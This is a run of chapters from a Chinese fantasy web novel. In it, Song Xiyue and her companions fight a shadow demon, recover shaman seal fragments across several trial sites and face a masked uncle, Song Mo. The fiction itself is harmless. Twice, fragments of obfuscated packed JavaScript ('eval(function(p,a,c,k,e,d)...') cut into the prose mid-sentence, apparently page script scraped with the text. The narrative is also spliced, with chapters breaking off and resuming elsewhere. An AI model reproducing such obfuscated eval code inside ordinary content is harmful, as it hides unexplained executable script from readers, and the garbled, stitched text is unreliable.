我们顺着她指的方向望去,广场中央矗立着一座残破的石碑,石碑上刻满了上古符文,顶端镶嵌着一块紫色的晶石,正散发着微弱的光芒。石碑周围,黑色藤蔓缠绕得最密集,暗红色的小花在雾气中轻轻摇曳,像是在呼吸。 “那应该就是巫印石碑。” 我快步走上前,绿色晶石的绿光与石碑顶端的紫光碰撞,发出 “滋滋” 的声响。石碑上的符文开始亮起,与姥姥手札里的 “雾锁封印” 符文一一对应。 “溪月,小心!” 苏怀薇突然大喊,一把将我拉到身后。只见石碑周围的黑色藤蔓突然暴涨,化作无数条黑色触手,朝着我们扑来。触手的顶端,长着一张小小的人脸,正是那些失踪村民的模样,眼神空洞,充满了痛苦。 “是雾影!” 江磊的声音从通讯器里传来,“秘录说,雾影是魔影侵蚀生灵后形成的怪物,保留着宿主的外形,却被魔影掌控意识!” 我立刻催动问阴血脉,掌心的炙痕爆发出金黑交织的光芒,与黑白玉佩、紫色玉片的光芒融合。光芒所及之处,黑色触手纷纷后退,发出凄厉的惨叫。“怀薇,用银锁净化它们!” 苏怀薇点头,银锁突然化作无数道白光丝线,缠绕在黑色触手上。白光丝线刺入触手,那些村民的人脸露出解脱的表情,黑色藤蔓渐渐枯萎,化作灰烬。 就在这时,石碑顶端的紫色晶石突然爆发出强烈的紫光,雾气开始剧烈翻滚,整个镇子的地面都在震动。广场周围的房屋轰然倒塌,露出里面隐藏的地道入口,地道中传来低沉的嘶吼声,无数双红色的眼睛在黑暗中亮起。 “不好!封印彻底松动了,魔影的残魂要出来了!” 我将林溪月护在身后,绿色晶石的绿光暴涨,形成一道巨大的光盾,挡住了从地道中涌出的黑色雾气。 黑色雾气中,渐渐凝聚出一道巨大的身影 —— 它有着人的轮廓,却浑身覆盖着黑色鳞片,背后长着一对蝙蝠般的翅膀,脸上没有五官,只有一个巨大的红色独眼,正是魔影的残魂。 “问阴后人…… 好久不见。” 魔影的声音像是无数人在同时低语,充满了阴冷与嘲讽,“当年巫祝用巫印封印我,如今封印松动,你们的到来,正好给我送来了‘养料’!” 它抬手一挥,黑色雾气化作无数把利刃,朝着我们劈来。我催动金黑力量,光盾挡住利刃,却被震得连连后退。苏怀薇的银锁化作光刃,劈向魔影的独眼,却被黑色雾气挡在外面。林溪月额头的红印亮起,淡粉色的光带缠绕在魔影的翅膀上,暂时限制了它的行动。 “溪月,用巫印!” 楚遥的声音传来,“卫星检测到石碑的符文是启动巫印的钥匙,你需要将三块玉佩嵌入石碑,才能重新激活封印!” 我看向石碑,上面有三个凹槽,正好与黑白玉佩和紫色玉片的形状契合。“怀薇,帮我拖住它!” 我纵身跃向石碑,魔影察觉到我的意图,怒吼一声,红色独眼射出一道黑色光柱,朝着我袭来。 “休想伤害溪月!” 苏怀薇飞身挡在我身前,银锁形成的光盾瞬间暴涨,挡住了黑色光柱。她闷哼一声,嘴角溢出鲜血,光盾出现了裂痕。 “怀薇!” 我心中一紧,加快速度将三块玉佩嵌入凹槽。玉佩嵌入的瞬间,石碑爆发出耀眼的紫金光晕,符文顺着地面蔓延,形成一道巨大的封印阵,将魔影困在中央。 魔影疯狂地撞击封印阵,阵壁剧烈震动,符文的光芒渐渐暗淡。“没用的!我的残魂只是诱饵,真正的魔影大人,已经在紫渊裂隙中苏醒!你们封印的,不过是我亿分之一的力量!” 它的话音落下,红色独眼突然爆开,黑色雾气朝着四面八方散去,融入镇子的雾气中。封印阵的光芒彻底熄灭,石碑轰然倒塌,露出下面的一个黑色匣子。 我捡起黑色匣子,匣子上刻着与问阴婆手札相同的纹路。打开匣子,里面没有法器,只有一张泛黄的纸条,上面是一行娟秀的字迹,与水神巫的笔迹相似,却又带着一丝熟悉的亲切感: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白衣女子叹了口气,抬手一挥,雾气渐渐散去,露出镇子深处的一座祭坛。祭坛上,摆放着一个巨大的青铜鼎,鼎中燃烧着黑色的火焰,火焰中,隐约浮现出无数张痛苦的人脸 —— 正是那些失踪的村民。 “你的姥姥,是最后一位雾隐巫祝,也是问阴婆的传人。” 白衣女子的声音带着一丝悲伤,“当年魔影封印松动,她为了加固封印,将自己的灵魂与巫印融合,化作雾隐镇的守护者。而我,是她分裂出的一缕残魂,负责引导你找到问阴三玉,激活三界镇魂印。” 她指向青铜鼎中的黑色火焰:“这些村民的意识,被魔影困在火焰中,用来滋养它的残魂。想要救他们,必须熄灭黑色火焰,可火焰一旦熄灭,紫渊裂隙的通道就会暂时打开,魔影的本体,会感知到这里的动静,派来更强大的手下。” 就在这时,我的手机突然再次自动开机,屏幕上出现那串乱码号码发来的短信,只有简短的一行字:小心巫祝残魂,她在利用你打开紫渊通道。 白衣女子看到短信,脸色骤变:“是它!魔影的本体已经察觉到了!溪月,别相信它的话,我们必须立刻熄灭火焰,救回村民!” 可我看着她眼中一闪而过的异样,又看了看青铜鼎中痛苦的村民,心中充满了犹豫。绿色晶石突然发出强烈的警示绿光,掌心的炙痕也开始发烫,像是在提醒我危险。 白衣女子的身影,在雾气中渐渐变得模糊,她的眼睛里,突然泛起一丝淡淡的红光,与魔影的独眼颜色一模一样。“溪月,快动手!再晚就来不及了!” 她的声音变得急促,甚至带着一丝命令的语气。 她到底是姥姥的残魂,还是魔影伪装的诱饵?熄灭黑色火焰,是拯救村民,还是打开紫渊通道,引魔影本体降临? 32. 第 32 章 绿色晶石的绿光急促跳动,掌心的炙痕烫得几乎要烧穿衣物,白衣女子眼中的红光越来越浓,语气里的急切带着不容置疑的压迫感。我攥紧问阴三玉,指尖冰凉 —— 手机短信的警示、晶石的预警、女子眼中的异常,每一条线索都在告诉我,眼前的 “姥姥残魂” 绝非表面那般简单。 “溪月姐姐,她的影子里有‘黑色的虫子’!” 林溪月突然躲到我身后,小手紧紧捂住眼睛,“那些虫子在啃食她的影子,好恶心!” 双生之力对邪祟的感知从未出错。我抬眼望去,白衣女子的脚下,一道黑色的影子正在悄然扭曲,无数细微的黑影如同蛆虫般在影子里蠕动,与魔影残魂的气息同源。她眼中的红光,正是这些 “虫子” 在作祟。 “你到底是谁?” 我后退半步,问阴三玉自动悬浮在身前,紫金光晕形成一道防护,“姥姥的残魂不会被魔影侵蚀,你体内的,是魔影的寄生体!” 白衣女子的脸色瞬间僵住,眼中的温柔被狰狞取代。她猛地抬手,桃木杖指向青铜鼎,黑色火焰骤然暴涨,火焰中村民的人脸发出凄厉的惨叫:“既然被你识破,那就别想活着离开!这些村民的意识,本就是我献给魔影大人的祭品!” 她脚下的黑影突然挣脱地面,化作无数条黑色触手,朝着我们扑来。触手顶端的 “虫子” 张开细小的嘴,露出尖锐的獠牙,空气中弥漫开腐臭的气息。苏怀薇立刻催动银锁,白光如瀑布般倾泻而下,将触手牢牢缠住:“溪月,护住林溪月!我来牵制她!” 银锁的净化之力与黑影碰撞,发出 “滋滋” 的声响,黑色触手被白光灼烧得不断萎缩,却又在青铜鼎火焰的滋养下快速再生。白衣女子冷笑一声,桃木杖一挥,青铜鼎中的黑色火焰分出数道火舌,朝着林溪月射去 —— 她竟想拿孩子当突破口! “不许碰她!” 我纵身挡在林溪月身前,问阴三玉的紫金光晕暴涨,将火舌尽数挡回。掌心的炙痕与三玉共鸣,金黑交织的力量顺着手臂涌出,我突然想起姥姥手札里的记载:“魂火非魔焰,乃生灵执念所化,需以问阴之血为引,三玉之力为媒,双生之光为净,方能解离执念,渡化魂灵。” “怀薇,借银锁之力护住魂火!” 我咬破指尖,将鲜血滴在问阴三玉上,“溪月,用双生之力引导魂灵,别让它们被魔影吞噬!” 苏怀薇立刻会意,银锁化作一张巨大的光网,将青铜鼎笼罩其中,黑色火焰被光网束缚,无法再向外蔓延。林溪月闭上眼睛,额头的红印爆发出淡粉色的光芒,柳念水的残魂虚影从她体内浮现,双生之力化作无数道细小的光丝,钻入黑色火焰中,缠绕住那些痛苦的人脸。 我将问阴三玉按在青铜鼎的鼎耳上,鲜血顺着三玉的纹路渗入鼎身,紫金光晕顺着鼎身蔓延,与银锁的白光、双生之力的粉光交织成三色光幕。火焰中的人脸渐渐平静下来,原本漆黑的火焰开始泛出淡淡的金色 —— 那是生灵本真的魂火,被魔影侵蚀后才变成了黑色。 “不!你不能破坏魔影大人的计划!” 白衣女子疯狂地冲向青铜鼎,桃木杖上缠绕着浓郁的黑影,“这些魂火是打开紫渊通道的钥匙,你毁掉它们,魔影大人不会放过你的!” 她的身影在冲向光幕的瞬间发生异变:半边脸颊的皮肤裂开,露出下面黑色的鳞片,手臂上爬满了之前见过的黑色藤蔓,背后隐隐浮现出蝙蝠翅膀的轮廓 —— 她早已被魔影深度寄生,所谓的 “姥姥残魂”,不过是魔影用来欺骗我的伪装。 “魔影到底想干什么?” 我一边维持着三色光幕的力量,一边冷声质问,“打开紫渊通道,对你有什么好处?” 白衣女子狂笑起来,笑声嘶哑刺耳:“我本是雾隐镇最后的巫祝,被魔影寄生后才得以苟活千年!只要助魔影大人降临三界,它就会赐我永恒的生命!你们这些阻碍者,都该成为魂火的一部分!” 她猛地将桃木杖插入地面,地面裂开无数道缝隙,黑色的雾气从缝隙中涌出,无数黑影从雾气里钻出来 —— 正是之前被我们击退的雾影。它们嘶吼着扑向光幕,想要破坏魂火的净化。 “楚遥、江磊,请求支援!” 我对着通讯器大喊,“雾隐镇出现大量雾影,青铜鼎处需要支援!” “收到!我们已抵达镇外,五分钟后到达!” 楚遥的声音带着急促的喘息,显然也在遭遇雾影的阻拦。 苏怀薇的银锁已经延伸出无数光丝,既要守护光幕,又要抵挡雾影的攻击,白光渐渐暗淡。她的额头上布满汗珠,脸色苍白:“溪月,我撑不了多久了!必须尽快净化魂火!” 林溪月的小脸也涨得通红,双生之力的消耗让她摇摇欲坠:“溪月姐姐,村民的魂灵在说,鼎底有‘巫祝残印’,激活残印就能加速净化!” 我低头看向青铜鼎的底部,果然刻着一道模糊的符文,与巫印石碑上的 “雾锁封印” 符文相似,却少了关键的一笔。“问阴三玉,补全残印!” 我催动三玉,紫金光晕化作一道笔尖,顺着鼎底的符文游走,将缺失的一笔补全。 符文补全的瞬间,青铜鼎剧烈震动起来,鼎身的纹路全部亮起,三色光幕的力量暴涨,黑色火焰以肉眼可见的速度褪去金色,火焰中的人脸化作一道道金色的魂光,顺着光幕飘向天空,消失在雾气中 —— 村民的魂灵终于被渡化,重获自由。 黑色火焰熄灭的瞬间,白衣女子发出一声凄厉的惨叫,体内的黑影疯狂涌动,想要挣脱她的身体。她的身体开始快速枯萎,黑色鳞片剥落,藤蔓枯萎,眼中的红光渐渐消散,露出一丝清明:“宋溪月…… 对不起…… 巫祝残印…… 还有四块…… 藏在…… 红枫谷、黑石洞、碧水潭、紫霞山…… 找到它们…… 激活镇魂印……” 她的话音未落,身体便化作一堆灰烬,灰烬中,一枚淡金色的残印缓缓升起,自动飞入我的掌心 —— 正是雾隐镇的巫祝残印,与鼎底的符文一模一样。 绿色晶石突然爆发出强烈的绿光,投射出一幅新的地图,地图上除了雾隐镇,还有四个红色圆点,正是白衣女子提到的红枫谷、黑石洞、碧水潭、紫霞山,每个圆点旁都标注着模糊的符文,显然是其他巫祝残印的所在地。 “太好了,我们找到第一块残印了!” 苏怀薇松了口气,收起银锁,扶住摇摇欲坠的林溪月。 就在这时,镇外传来密集的枪声和爆炸声,楚遥的声音从通讯器里传来,带着一丝焦急:“溪月,我们遭遇了大批强化型雾影!它们的力量比之前强了数倍,而且…… 它们的领头者,是一个穿着黑色斗篷的人,能操控魔影之力!” 我心中一紧,看向青铜鼎的灰烬 —— 灰烬中,除了巫祝残印,还留下了一枚黑色的令牌,令牌上刻着一个扭曲的 “魔” 字,与之前影族令牌的纹路截然不同。我捡起令牌,绿色晶石的绿光瞬间变得暗淡,一股比魔影残魂更强大的气息从令牌中散发出来。 “是魔影的先锋官!” 江磊的声音从通讯器里传来,带着震惊,“巫祝秘录记载,魔影本体苏醒后,会派遣‘魔使’带领强化型雾影,夺取巫祝残印!他们的目标,是阻止我们激活三界镇魂印!” 雾气渐渐散去,镇外的火光和爆炸声越来越近。我握紧手中的巫祝残印和黑色令牌,掌心的炙痕与残印产生共鸣,一道淡金色的纹路从残印流入炙痕,让炙痕的力量更加强盛。 “我们去支援楚遥和江磊!” 我将残印收好,问阴三玉自动飞回我的口袋,“强化型雾影的出现,说明魔影本体已经开始行动,我们必须尽快找到剩下的四块残印!” 苏怀薇抱着林溪月,银锁重新悬浮在头顶:“林溪月消耗太大,我先带她去车上休息,你们去支援,我随后就到!” 我点点头,转身朝着镇外跑去。刚跑出雾隐镇,就看到楚遥和江磊正被大批强化型雾影包围。这些雾影比之前的更加高大,浑身覆盖着黑色鳞片,手中拿着骨刃,眼神猩红,战斗力远超普通雾影。 人群中央,一个穿着黑色斗篷的人背对着我们,周身缠绕着浓郁的魔影之气,正是楚遥所说的领头者。他抬手一挥,无数道黑色光刃朝着楚遥和江磊射去,两人疲于应对,身上已经添了好几道伤口。 “住手!” 我纵身跃起,问阴三玉的紫金光晕化作一道利刃,斩断了黑色光刃。我落在楚遥和江磊身边,掌心的炙痕爆发出金黑之力,将靠近的强化型雾影震退。 黑色斗篷人缓缓转过身,他的脸上戴着一张银色的面具,面具上刻着与黑 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我握紧紫色晶石,心中的疑惑越来越深。这个神秘的面具人,既像是魔影的同伙,又在暗中帮助我们寻找巫祝残印,他的目的到底是什么? 面具人发出一阵低沉的笑声,身影渐渐变得透明:“我是谁不重要,重要的是,只有你能激活三界镇魂印。记住,试炼场里的考验,不仅是对力量的测试,更是对人心的试炼。一旦被负面情绪吞噬,你就会成为魔影的下一个寄生体。” 他的身影彻底消失,强化型雾影也跟着化作黑烟散去。楚遥和江磊走到我身边,两人都气喘吁吁,身上的伤口还在流血。“溪月,这个面具人到底是什么来头?他到底是敌是友?” 江磊问道。 我看着掌心相互排斥的绿、紫两块晶石,又摸了摸怀中的巫祝残印,心中一片茫然。神秘面具人的出现,让原本清晰的目标变得扑朔迷离 —— 他为什么要给我魔影之核碎片?为什么要设置试炼场?他提到的 “人心试炼”,又藏着怎样的阴谋? 就在这时,苏怀薇带着林溪月赶了过来。林溪月的精神好了许多,她指着我掌心的紫色晶石,小声道:“姐姐,这个石头里有‘温暖的碎片’,和姥姥手札里的气息很像。” 姥姥手札?我立刻掏出手机,虽然无法开机,但之前收到的短信和语音,都暗示着神秘人与姥姥有着某种联系。我翻开手札,最后一页空白处,突然浮现出一行淡紫色的字迹,与紫色晶石的气息同源: “魔影非恶,镇魂非善,三界平衡,在于取舍。面具之下,是故人之魂;试炼之中,是真相之钥。” 淡紫色字迹浮现的瞬间,掌心的紫色晶石突然爆发出强光,与问阴三玉产生共鸣。手机竟然再次自动开机,屏幕上没有乱码,只有一张模糊的照片 —— 照片上,一位穿着巫祝服饰的女子与一位戴着银色面具的男子并肩而立,背景是紫渊裂隙,两人手中,分别拿着绿色晶石和紫色晶石。 照片下方,有一行小字:“吾与魔影,本是同源,一念为巫,一念为魔。宋溪月,当你集齐五块巫祝残印时,我会告诉你所有真相。” 照片突然消失,手机再次黑屏。我握紧手中的紫色晶石,心中掀起惊涛骇浪 —— 照片上的巫祝女子,与姥姥的容貌一模一样;而那个戴着银色面具的男子,显然就是神秘的面具人。 他们到底是什么关系?“魔影与巫祝本是同源” 这句话,又意味着什么?三界镇魂印的真正作用,真的是镇压魔影吗?还是说,它是用来维持巫祝与魔影之间的平衡? 更让我不安的是,掌心的巫祝残印突然发烫,与紫色晶石的力量相互交织,炙痕上的纹路开始发生变化,渐渐浮现出与面具人令牌相同的 “魔” 字。我能感觉到,体内的怨煞之力正在与魔影之力产生共鸣,一种陌生的力量正在悄然觉醒。 我看着身边的伙伴们,看着远处依旧泛着紫光的紫渊裂隙,突然意识到,这场寻找巫祝残印的试炼,不仅是对抗魔影的战争,更是一场关于自我认知的考验 —— 我到底是要彻底消灭魔影,还是要接受它与巫祝同源的真相,寻找真正的三界平衡? 而那个神秘的面具人,他的真实身份,是否就是…… 另一个 “姥姥”? 33. 第 33 章 离开雾隐镇后,我们驱车前往红枫谷。车载导航屏幕上,代表红枫谷的红点闪烁频率仅次于紫渊裂隙,紫色晶石在掌心微微发烫,与绿色晶石的排斥感渐渐减弱,反而形成一种微妙的共振 —— 仿佛两者正在慢慢接纳彼此。 “照片上的姥姥和面具人,手持绿、紫晶石并肩而立,会不会他们当年是合作伙伴?” 楚遥一边开车,一边分析道,“‘魔影与巫祝本是同源’,或许他们当年是想找到平衡之道,而非单纯镇压。” 江磊翻阅着新整理的巫祝秘录残页,点头附和:“秘录里提到‘混沌生两极,一为巫,一为魔,两极相斥,亦相生’。看来巫祝和魔影,本就是从同一种混沌之力分化而来,缺一不可。” 我摩挲着掌心的炙痕,上面的 “魔” 字纹路时隐时现,体内的怨煞之力与魔影之力产生越来越强烈的共鸣。自从拿到第一块巫祝残印,那种失控的恐惧渐渐消退,取而代之的是一种莫名的熟悉感 —— 仿佛魔影之力,本就是我身体的一部分。 “溪月姐姐,你在想什么?” 林溪月坐在我身边,小手轻轻搭在我的手腕上,“你的气息好奇怪,既有温暖的光,又有冰冷的影子,就像红枫谷的名字一样,一半红,一半黑。” 红枫谷以秋季漫山红枫闻名,可当我们抵达谷口时,却看不到半点红色。漫山的枫树叶片漆黑如墨,枝头挂着暗红色的果实,散发着淡淡的腥气,与雾隐镇的黑色藤蔓气息同源。谷口矗立着一块巨大的岩石,上面刻着三个猩红的大字:“幻梦谷”。 “绿色晶石的预警减弱了,但紫色晶石的反应更强烈了。” 我将两块晶石取出,它们同时悬浮起来,投射出一道淡紫色的光幕,照亮了谷内的路径,“看来红枫谷的试炼,主要针对‘人心’,而非力量。” 苏怀薇握紧银锁,眼神警惕:“面具人说试炼是对人心的考验,负面情绪会让我们成为魔影的寄生体。大家一定要保持清醒,不要被幻象迷惑。” 我们顺着光幕指引的路径走进谷中,脚下的落叶腐烂发黑,踩上去发出 “咯吱” 的声响,像是骨骼碎裂的声音。谷内静得出奇,只有风吹过黑枫树叶的 “沙沙” 声,夹杂着若有若无的歌声,歌声哀怨婉转,让人不自觉地心生悲伤。 “这歌声有问题!” 江磊突然停下脚步,捂住胸口,“我的脑海里出现了奶奶去世的画面,好难过……” 楚遥也脸色苍白,握着方向盘的手指微微颤抖:“我看到了战友牺牲的场景,是我没能救他……” 负面情绪如同潮水般涌来,我也感觉到一阵心悸 —— 眼前浮现出姥姥离世时的画面,她躺在床上,虚弱地告诉我 “问阴婆的使命是平衡”,可我却没能理解她的深意,直到现在才明白,她所说的平衡,是巫与魔的平衡。 “别被歌声影响!” 苏怀薇的银锁突然爆发出强烈的白光,白光笼罩着众人,负面情绪瞬间消散了不少,“这是‘悲魂咒’,通过引发人的悲伤记忆来侵蚀意识!” 林溪月的额头红印亮起,双生之力化作淡粉色的光带,缠绕在每个人的手腕上:“姐姐们,我能感觉到,歌声来自谷中央的红枫古树,树里面藏着‘悲伤的魂灵’。” 我们加快脚步,来到谷中央。那里矗立着一棵巨大的黑枫古树,树干粗壮,需要十几人才能合抱,树枝向四周延伸,覆盖了大半个山谷。树干上缠绕着无数白色的布条,布条上写满了密密麻麻的名字,正是那些在红枫谷失踪的人。 歌声正是从古树内部传来,树干上有一个巨大的树洞,树洞周围萦绕着淡紫色的雾气,雾气中,无数半透明的魂灵在哭泣,正是失踪的村民。 “红枫魔使,出来吧!” 我对着树洞大喊,问阴三玉自动悬浮在身前,紫金光晕照亮了树洞深处,“我们是来拿巫祝残印的,别再躲躲藏藏了!” 树洞中的雾气突然剧烈翻滚,淡紫色的雾气化作一道身影,缓缓从树洞中走出。那是一位穿着红衣的女子,长发及腰,面容绝美,却带着一股化不开的悲伤。她的眼睛是淡紫色的,与紫色晶石的颜色一模一样,周身萦绕着淡淡的悲魂之气。 “宋溪月,你果然没让我失望。” 红枫魔使的声音与歌声同源,哀怨而悲伤,“通过了雾隐镇的‘信任试炼’,现在,该接受红枫谷的‘接纳试炼’了。” “接纳试炼?接纳什么?” 我皱眉问道。 “接纳你体内的魔影之力。” 红枫魔使抬手一挥,树洞中的魂灵纷纷飞出,围绕在我们身边,“这些魂灵,都是因为无法接纳自己的负面情绪,被悲魂咒侵蚀,最终沦为魔影的养料。想要拿到巫祝残印,你必须接纳自己体内的魔影之力,证明你能掌控它,而非被它掌控。” 她指向我掌心的炙痕:“你的炙痕中,既有问阴血脉的净化之力,又有怨煞之力,还有魔影之力。三者本可共存,却因为你的排斥,始终无法融合。现在,放下你的排斥,接纳魔影之力,让三者合一,才能激活树洞深处的巫祝残印。” “可如果接纳它,我会不会变成魔影的寄生体?” 我犹豫了。之前白衣女子被寄生的场景,还历历在目。 红枫魔使轻轻摇头,眼中的悲伤更浓:“魔影之力本身没有善恶,善恶在于使用者的内心。巫祝与魔影本是同源,接纳它,不是被它吞噬,而是与它共生。就像当年的你姥姥和面具人,他们正是因为接纳了彼此的力量,才能暂时封印紫渊裂隙。” 她抬手一挥,魂灵们化作无数道光影,投射出一段模糊的画面:姥姥穿着巫祝服饰,手持绿色晶石,面具人戴着银色面具,手持紫色晶石,两人并肩站在紫渊裂隙前,他们的力量交织在一起,形成一道紫绿相间的光幕,将魔影本体封印在裂隙中。 “当年他们之所以能封印魔影,不是因为镇压,而是因为平衡。” 红枫魔使的声音带着一丝惋惜,“可后来,巫祝内部出现分歧,有人认为魔影之力过于危险,想要彻底消灭它,才导致封印松动,魔影本体苏醒。” 楚遥和江磊相视一眼,显然被这段过往震惊到了。苏怀薇走到我身边,轻声道:“溪月,我相信你。无论你做出什么选择,我们都会支持你。” 林溪月也点点头:“溪月姐姐,你的心是善良的,就算接纳了魔影之力,你也不会变成坏人。” 我深吸一口气,看向掌心的炙痕。紫色晶石突然飞到我的掌心,与炙痕贴合在一起。一股温暖的力量从晶石中涌出,流入炙痕,体内的魔影之力不再躁动,反而变得温顺起来。 “我愿意尝试。” 我闭上眼睛,放下心中的排斥,开始引导体内的三种力量 —— 问阴血脉的净化之力、怨煞之力、魔影之力,朝着炙痕汇聚。 三种力量在炙痕中碰撞、交织,起初充满了排斥,让我浑身剧痛,像是被无数根针穿刺。但随着我不断放下排斥,默念姥姥手札里的 “平衡咒”,三种力量渐渐融合,形成一道金、黑、紫三色交织的光芒,流淌在我的脉络中。 “成功了!” 苏怀薇惊喜地大喊。 我睁开眼睛,掌心的炙痕已经变成了三色纹路,与问阴三玉的颜色一模一样。树洞深处,突然爆发出一道强烈的金光,第二块巫祝残印缓缓飞出,落在我的掌心。 残印与第一块残印相互吸引,自动贴合在一起,形成一道完整的符文,符文上的纹路,与炙痕的三色纹路完美契合。 红枫魔使看着我,眼中的悲伤渐渐消散,露出一抹欣慰的笑容:“恭喜你,通过了接纳试炼。现在,你已经初步掌握了平衡之力。但记住,这只是开始,接下来的试炼,会更加艰难。” 她抬手一挥,围绕在我们身边的魂灵纷纷化作金色的光粒,消散在空气中:“这些魂灵,已经被你的平衡之力净化,终于可以安息了。” 就在这时,谷外突然传来一阵急促的脚步声,一个穿着黑色斗篷的人,跌跌撞撞地跑进谷中。他的斗篷破烂不堪,身上布满了伤口,正是之前在雾隐镇出现的强化型雾影的服饰。 “魔使大人,不好了!” 黑衣人跪在红枫魔使面前,声音带着恐惧,“黑石洞的魔使大人,被一个神秘人袭击了!巫祝残印被抢走了!” 红枫魔使的脸色骤变:“什么?是谁干的?” “不知道!” 黑衣人摇头,“那个神秘人戴着银色面具,手持紫色晶石,力量非常强大,黑石洞的魔使大人根本不是对手!他还留下一句话,说下一个目标,是碧水潭的巫祝残印!” 银色面具人?他为什么要抢夺巫祝残印?难道他之前的帮助,都是假的? 我心中一紧,握紧手中的两块巫祝残印。紫色晶石突然发烫,投射出一道紧急的讯息:“有人想要打破三界平衡,夺取巫祝残印,彻底释放魔影本体。宋溪月,立刻前往碧水潭,阻止他!记住,不要相信任何人,包括你身边的人。” 讯息消失后,紫色晶石的光芒渐渐暗淡。红枫魔使的脸色变得凝重:“看来,除了我们,还有第三方势力介入。这个人的目标,很可能是集齐五块巫祝残印,彻底打开紫渊裂隙,释放魔影本体。” “可他为什么要这么做?” 江磊疑惑道,“如果魔影本体降临,三界都会被毁灭,他也得不到任何好处。” 红枫魔使摇了摇头:“我不知道。但可以肯定的是,这个人的力量非常强大,而且对巫祝残印的位置了如指掌。碧水潭的魔使实力最弱,现在处境肯定很危险。” 我看着掌心的三色炙痕,心中的使命感再次燃起。不管这个神秘人是谁,不管他的目的是什么,我都必须阻止他。集齐巫祝残印,激活三界镇魂印,维持三界平衡,是我现在唯一的目标。 “我们立刻前往碧水潭!” 我收起巫祝残印和晶石,“楚遥,麻烦你联系总部,调查一下碧水潭的情况。江磊,查阅秘录,看看碧水潭有什么特殊的防护措施。” 楚遥和江磊立刻行动起来。红枫魔使看着我们,突然开口道:“宋溪月,我跟你们一起去。碧水潭的魔使是我的妹妹,我不能让她出事。” “你?” 我有些犹豫。红枫魔使是魔影的下属,虽然她帮助了我们,但我还是有些不信任她。 红枫魔使似乎看穿了我的心思,轻声道:“我知道你不信任我。但我和其他魔使不一样,我不想看到魔影本体降临,毁掉三界。当年,我也是因为无法接纳自己的力量,才沦为魔影的下属。现在,看到你能掌控平衡之力,我看到了希望。” 她抬手摘下自己的发簪,发簪是一枚淡紫色的晶石,与紫色晶石同源:“这是我的本命晶石,能感知魔影的气息。带着它,你们能更快地找到碧水潭的巫祝残印,也能防备那个神秘人的袭击。” 我接过发簪,感受到里面传来的温和力量,与魔影之力截然不同,反而带着一丝巫祝的净化之力。“好,我们相信你。” 我点了点头。 就在我们准备出发时,林溪月突然指着红枫魔使的影子,小声道:“姐姐,她的影子里,有和面具人一样的‘温暖碎片’。” 红枫魔使的影子里,果然有一道细微的淡紫色光粒,与紫色晶石的气息同源。看来,她与面具人之间,也有着某种联系。 我们驱车离开红枫谷,朝着碧水潭的方向疾驰。路上,楚遥传来了调查结果:“碧水潭位于一座深山之中,潭水常年碧绿,是上古巫祝的‘水封之地’。当地村民说,最近碧水潭的水变得浑浊发黑,潭边出现了很多奇怪的脚印,像是某种巨大的野兽。” 江磊也查阅到了相关资料:“碧水潭的巫祝擅长‘水遁之术’和‘净化之术’,巫祝残印藏在潭底的水封密室中。想要拿到残印,必须通过水封密室的三道关卡,每一道关卡,都需要平衡之力才能通过。” 我握紧手中的发簪,掌心的三色炙痕微微发烫。紫色晶石再次投射出一道讯息,这次是一张地图,标注着碧水潭底水封密室的位置,以及三道关卡的破解方法。 “看来面具人虽然抢走了黑石洞的残印,但还是在暗中帮助我们。” 苏怀薇皱眉道,“他到底想干什么?一边抢残印,一边帮我们,他的目的太让人捉摸不透了。” 我看着地图上的标注,心中突然涌起一股强烈的预感:碧水潭的试炼,可能会让我们揭开面具人的真实身份。而那个抢夺残印的神秘人,很可能就是当年巫祝内部想要彻底消灭魔影的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黑色面具人的声音沙哑而冰冷,“没想到你这么快就通过了红枫谷的试炼,看来,我还是低估了你。” 黑色面具人抬手一挥,三道淡蓝色的光幕瞬间暴涨,将巫祝残印牢牢护住。“想要拿到残印,先过我这一关!” 他的身影突然消失在原地,下一秒,便出现在我的身后,掌心带着浓郁的魔影之气,朝着我的后心拍来。我立刻转身,三色炙痕的光芒爆发,与他的掌心碰撞在一起。 “砰 ——” 两股力量碰撞,发出巨大的声响,水流剧烈翻滚。我被气浪掀飞出去,重重撞在密室的石壁上,口中喷出一口鲜血。黑色面具人的力量,竟然比红枫魔使强大数倍,而且他的力量中,既有魔影之力,又有巫祝之力,与我的平衡之力极为相似。 “你到底是谁?为什么会拥有平衡之力?” 我擦掉嘴角的血迹,警惕地问道。 黑色面具人摘下自己的面具,露出一张与姥姥有三分相似的脸,他的眼睛是纯黑色的,与魔影本体的眼睛一模一样。“我是谁?我是当年想要彻底消灭魔影的巫祝后人,也是你的表舅 —— 宋墨。” “表舅?” 我震惊地看着他,姥姥的手札里,确实提到过一个名叫宋墨的表舅,说他天赋异禀,却因为过于执着于消灭魔影,与姥姥产生分歧,最终离家出走,下落不明。 “没错,是我。” 宋墨的眼中闪过一丝疯狂,“当年姥姥因为一时心软,没有彻底消灭魔影,才导致今天的局面!魔影之力本就是邪恶的,根本不可能与巫祝之力共存!所谓的平衡,不过是自欺欺人!” 他抬手一挥,密室的墙壁上突然出现无数道黑色的藤蔓,朝着我们扑来:“今天,我要拿到所有的巫祝残印,彻底打开紫渊裂隙,将魔影本体引出来,然后用三界镇魂印,将它彻底消灭!” “你疯了!” 红枫魔使大喊道,“彻底消灭魔影,会导致三界失衡,到时候,整个三界都会毁灭!” “毁灭?那又如何?” 宋墨狂笑起来,“与其被魔影统治,不如同归于尽!” 他的力量突然暴涨,黑色的藤蔓瞬间缠住了苏怀薇和林溪月,楚遥和江磊想要上前救援,却被宋墨的力量震退。我看着被藤蔓缠住的伙伴们,又看着石台上的巫祝残印,心中充满了绝望。 宋墨的力量与我不相上下,而且他的执念极深,想要阻止他,几乎不可能。就在这时,我的掌心突然爆发出一道强烈的紫绿相间的光芒,紫色晶石和绿色晶石同时飞出,悬浮在密室中央,形成一道巨大的光幕。 光幕中,浮现出姥姥和面具人的身影,他们的声音交织在一起:“宋墨,放下你的执念!平衡才是三界的真谛!魔影不能灭,也不能放,唯有平衡,才能长治久安!” 宋墨看到光幕中的身影,脸色骤变,眼中的疯狂渐渐被痛苦取代:“姐姐…… 面具人…… 你们为什么要阻止我?魔影是邪恶的,必须消灭!” 